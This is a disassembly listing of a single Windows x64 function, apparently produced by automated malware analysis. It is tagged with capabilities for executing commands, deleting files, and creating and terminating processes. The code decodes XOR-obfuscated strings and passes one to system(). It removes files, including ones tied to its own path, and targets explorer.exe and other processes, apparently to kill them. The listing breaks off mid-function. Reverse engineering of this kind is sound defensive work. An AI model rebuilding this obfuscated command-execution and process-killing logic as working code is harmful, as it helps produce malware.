Function at 0x140069130
Capabilities:
Create process on windows
Delete file
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1030
call fcn.14006df90
sub rsp, rax
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400ba010]
xor rax, rsp
mov qword [rbp + 0xfb0], rax
call fcn.1400015f0
mov rcx, rax
call fcn.1400016d0
movabs rdi, 0x465b1d00bb921fea
movabs rsi, 0x715588d043e9ccd
movabs r15, 0x826d5495249ede85
movabs r14, 0xc0e3d528c5fdb142
movabs r13, 0xf6f5a4376b337c87
movabs r12, 0xd9a53122490f35ac
cmp byte [0x1400bb08f], 1
jne 0x140069800
lea rcx, [rbp + 0x488]
call fcn.14006a770
lea rcx, [rbp + 0x488]
call fcn.14006a8b0
nop
movabs rbx, 0xf00a3be774c2e4c6
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xa9aeb45ca4b9dc23
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xaa81c258185c0ee4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xf9d6464d2d615cfb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x957d5f4fd2ab2a8d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9ca8516af307426a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x494703c1b40d6182
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xf63b8c1d7e1dc313
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x7493dee764bf3be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6e8], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6f8], rax
movabs rax, 0xe7183b21b7cd4fc9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x700], rax
movabs rax, 0xd4f4220492641136
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x708], rax
movabs rax, 0x2c157ab3db7912eb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x710], rax
movabs rax, 0x9369d06e0a71b660
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x718], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x728], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vxorps xmm0, xmm0, xmmword [rbp + 0x720]
vmovdqa xmmword [rbp + 0x200], xmm0
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x488]
vzeroupper
call fcn.14006a700
mov qword [rbp + 0x18], rbx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x160], rax
movabs rax, 0x8dbfb45ca4b9dc23
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x168], rax
movabs rax, 0x8293cb4404411fee
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x170], rax
movabs rax, 0xaad25e46276662f0
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x178], rax
movabs rax, 0x827c5544d1a80be9
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x180], rax
movabs rax, 0x88874c65f1374d44
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x188], rax
movabs rax, 0x706c08dcaf0a7ba3
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x190], rax
movabs rax, 0xcf0cb3077c03d333
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x18], r15
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x18], r14
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x758], rax
movabs rax, 0xe7183b21b7cd4fc9
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x760], rax
movabs rax, 0xd4f4220492641136
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x768], rax
movabs rax, 0x2c157ab3db7912eb
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x770], rax
movabs rax, 0x9369d06e0a71b660
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x778], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x788], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x780]
vmovdqa xmmword [rbp + 0x1a0], xmm0
lea rax, [rbp + 0x160]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x488]
vzeroupper
call fcn.14006a700
lea rcx, [rbp + 0x488]
call fcn.140068770
mov rdi, rax
lea rcx, [rbp + 0x488]
call fcn.14006a7e0
mov rsi, rax
cmp rdi, rax
je 0x1400697f4
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x300]
call fcn.14006b130
nop
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x4b0]
call fcn.140068ce0
nop
lea rcx, [rbp + 0x300]
call fcn.1400631d0
lea rcx, [rbp + 0x430]
call fcn.14005a210
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x238]
call fcn.14006a780
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.1400687c0
nop
lea rcx, [rbp + 0x450]
call fcn.14005a210
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x248]
call fcn.14006a780
mov rdx, rax
lea rcx, [rbp + 0x450]
call fcn.140068840
nop
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x430]
call fcn.1400687b0
test al, al
je 0x1400697c1
nop dword [rax]
lea rcx, [rbp + 0x430]
call fcn.140068770
mov rbx, rax
lea rcx, [rbp + 0x4a0]
call fcn.14005a210
lea rcx, [rbp + 0x4a0]
call fcn.140066a30
mov rcx, rbx
call fcn.1400680b0
mov rbx, rax
lea rdx, [rbp + 0x3a0]
mov rcx, rax
call fcn.140067620
nop
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.14006b130
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x320]
call fcn.140068d60
lea rcx, [rbp + 0x320]
call fcn.1400631d0
nop
lea rcx, [rbp + 0x3a0]
call fcn.140003f20
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.140067620
nop
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.14006b130
nop
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x280]
call fcn.140068fb0
nop
lea rcx, [rbp + 0x280]
call fcn.1400631d0
nop
lea rcx, [rbp + 0x380]
call fcn.140003f20
lea rcx, [rbp + 0x430]
call fcn.140068d30
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x430]
call fcn.1400687b0
test al, al
jne 0x1400696d0
lea rcx, [rbp + 0x450]
call fcn.1400687f0
nop
lea rcx, [rbp + 0x430]
call fcn.1400687f0
nop
lea rcx, [rbp + 0x4b0]
call fcn.1400687f0
add rdi, 0x20
cmp rdi, rsi
jne 0x140069620
lea rcx, [rbp + 0x488]
call fcn.14006a840
cmp byte [0x1400bb06f], 0
je 0x1400698cb
movabs rax, 0xe50432fb4bfdaeec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xa48ba65da99b9e62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xf6f5a4376b330fe9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rcx, [rbp + 0x140]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1400baf69], 1
jne 0x140069bdd
mov r8d, 0x104
lea rdx, [rbp + 0x880]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x5a0]
call fcn.140061420
nop
lea rcx, [rbp + 0x5a0]
call fcn.14006a9c0
mov rbx, rax
lea rcx, [rbp + 0x5a0]
call fcn.14006a9c0
lea r8, [rax + 1]
mov r9, rbx
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x5a0]
call fcn.14006a960
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x4d0]
call fcn.14006aab0
mov rdi, qword [rax]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x4d0]
call fcn.14006aa90
mov rbx, qword [rax]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x4d0]
call fcn.14006aab0
mov rcx, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x230]
call fcn.14006b190
movabs rax, 0xed093afc53c2e4e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xa585b05ab5a1c235
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xf6f5a437375b1ff3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rax, [rbp + 0x100]
mov qword [rbp + 8], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.14006b1f0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x4c0]
call fcn.140068720
nop
lea rcx, [rbp + 0x2a0]
call fcn.1400631d0
lea rcx, [rbp + 0x440]
call fcn.14005a210
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x258]
call fcn.14006a780
mov rdx, rax
lea rcx, [rbp + 0x440]
call fcn.1400687c0
nop
lea rcx, [rbp + 0x460]
call fcn.14005a210
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x270]
call fcn.14006a780
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140068840
nop
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x440]
call fcn.1400687b0
test al, al
je 0x140069b9d
nop dword [rax]
lea rcx, [rbp + 0x440]
call fcn.140068770
mov rcx, rax
call fcn.1400680b0
mov rdi, rax
lea rdx, [rbp + 0x360]
mov rcx, rax
call fcn.140067620
lea rdx, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400665a0
mov rbx, rax
lea rcx, [rbp + 0x360]
call fcn.140003f20
cmp rbx, 0xffffffffffffffff
je 0x140069b76
lea rdx, [rbp + 0x340]
mov rcx, rdi
call fcn.140067620
mov rcx, rax
call fcn.140003f10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x340]
call fcn.140003f20
lea rcx, [rbp + 0x440]
call fcn.140068780
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x440]
call fcn.1400687b0
test al, al
jne 0x140069b00
lea rcx, [rbp + 0x460]
call fcn.1400687f0
nop
lea rcx, [rbp + 0x440]
call fcn.1400687f0
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400687f0
nop
lea rcx, [rbp + 0x4d0]
call fcn.140003f20
nop
lea rcx, [rbp + 0x5a0]
call fcn.140003f20
cmp byte [0x1400bb093], 1
jne 0x140069dd3
lea rcx, [rbp + 0x470]
call fcn.14006a770
lea rcx, [rbp + 0x470]
call fcn.14006a8b0
nop
movabs rax, 0x826d54e04bfaabd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2c0]
call fcn.140061420
nop
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x470]
call fcn.14006a7f0
nop
lea rcx, [rbp + 0x2c0]
call fcn.140003f20
movabs rax, 0x826d54e04bfaabf1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2e0]
call fcn.140061420
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x470]
call fcn.14006a7f0
nop
lea rcx, [rbp + 0x2e0]
call fcn.140003f20
lea rcx, [rbp + 0x420]
call fcn.14005a220
lea rcx, str.explorer.exe
call fcn.140005350
mov dword [rbp + 0x20], eax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x420]
call fcn.14006b250
nop
lea rcx, [rbp + 0x470]
call fcn.140068770
mov rbx, rax
lea rcx, [rbp + 0x470]
call fcn.14006a7e0
mov rdi, rax
cmp rbx, rax
je 0x140069da5
lea rcx, [rbp + 0x420]
call fcn.140068770
mov rsi, rax
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x600]
call fcn.140061460
nop
lea rdx, [rbp + 0x600]
mov rcx, rsi
call fcn.140065750
nop
lea rcx, [rbp + 0x600]
call fcn.140003f20
add rbx, 0x20
cmp rbx, rdi
jne 0x140069d70
lea rcx, [rbp + 0x420]
call fcn.140068770
mov rcx, rax
call fcn.140065a40
nop
lea rcx, [rbp + 0x420]
call fcn.14006a7b0
nop
lea rcx, [rbp + 0x470]
call fcn.14006a840
cmp byte [0x1400bb08e], 1
jne 0x14006a2be
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x580]
call fcn.140061420
nop
movabs rbx, 0x825d78f049f78aa9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0xb25d78d067df8cd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xecd3e518f5d18172
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x9890cd5b28521fd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xb6d1584c264219d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x946b5e42d8bf1fbb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xd4f422049264111a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rsi, 0xe7183b21b7cd4fc9
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rdi, 0xd4f4220492641136
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x680]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x3c0]
vzeroupper
call fcn.14006b2f0
nop
lea r8, [rbp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.14006b450
nop
lea rcx, [rbp + 0x3c0]
call fcn.140003f20
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0xb25d64a508db9dc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xa3b3f918f5cd816e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0xda81ca52025f3fe6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0x89d75e5620615ae1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0xe7344852d2ae20bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x500], ymm1
vmovdqa xmm0, xmmword [rbp + 0x520]
vxorps xmm0, xmm0, xmmword [rbp + 0x6c0]
vmovdqa xmmword [rbp + 0x520], xmm0
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x3e0]
vzeroupper
call fcn.14006b2f0
nop
lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x5c0]
call fcn.14006b450
nop
lea rcx, [rbp + 0x3e0]
call fcn.140003f20
lea rcx, [rbp + 0x428]
call fcn.14005a220
movabs rax, 0x820154e524e6dee0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xc091d54dc58fb12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xf690a44f6b567ca9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqu ymmword [rbp + 0x120], ymm1
lea rcx, [rbp + 0x120]
vzeroupper
call fcn.140005350
mov dword [rbp + 0x24], eax
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x428]
call fcn.14006b250
nop
lea rcx, [rbp + 0x428]
call fcn.140068770
mov rbx, rax
lea rdx, [rbp + 0x5e0]
mov rcx, rax
call fcn.140065750
lea rdx, [rbp + 0x5c0]
mov rcx, rbx
call fcn.140065750
lea rdx, [rbp + 0x580]
mov rcx, rbx
call fcn.140065750
mov rcx, rbx
call fcn.140065a40
nop
lea rcx, [rbp + 0x428]
call fcn.14006a7b0
nop
lea rcx, [rbp + 0x5c0]
call fcn.140003f20
nop
lea rcx, [rbp + 0x5e0]
call fcn.140003f20
nop
lea rcx, [rbp + 0x580]
call fcn.140003f20
jmp 0x14006a2d2
movabs rdi, 0xd4f4220492641136
movabs rsi, 0xe7183b21b7cd4fc9
cmp byte [0x1400bb065], 1
jne 0x14006a6f3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x500], xmm0
movups xmmword [rbp + 0x510], xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], rax
mov r8d, 0x104
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movabs rax, 0x824354f124f3dee6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0xc0c3d54dc585b127
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs rax, 0xf685a4176b707ca8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
movabs rax, 0xd9853145496135c5
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
movabs rax, 0xe7363b10b7e34ff8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
movabs rax, 0xd4d42235924a1107
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
movabs rax, 0x2c247a93db1712c6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
movabs rax, 0x9349d0190a5cb640
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
movabs rax, 0x72558bd040e9cfe
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
movabs rax, 0x46151d20bbac1fca
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
movabs rax, 0x6f01b72f10ccaeba
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd0], rax
movabs rax, 0xfaa9c3bf81079494
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
movabs rax, 0xc6d228bfec7928f1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
movabs rax, 0x499a961c05832691
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0xd8904e9bc483f96
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
movabs rcx, 0xeec97ba6e1f51c48
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x800], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x808], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x810], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x818], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x820], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x828], rax
movabs rax, 0x2c157ab3db7912eb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x830], rax
movabs rax, 0x9369d06e0a71b660
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x838], rax
movabs rax, 0x715588d043e9ccd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x840], rax
movabs rax, 0x465b1d00bb921fea
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x848], rax
movabs rax, 0x6f27b70f10a0aecf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x850], rax
movabs rax, 0xfac5c3da814394b4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x858], rax
movabs rax, 0xc6f228d9ec5628d1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x860], rax
movabs rax, 0x49b8963c05f226be
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x868], rax
movabs rax, 0xd8904cbbc3b3fb3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x870], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x878], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
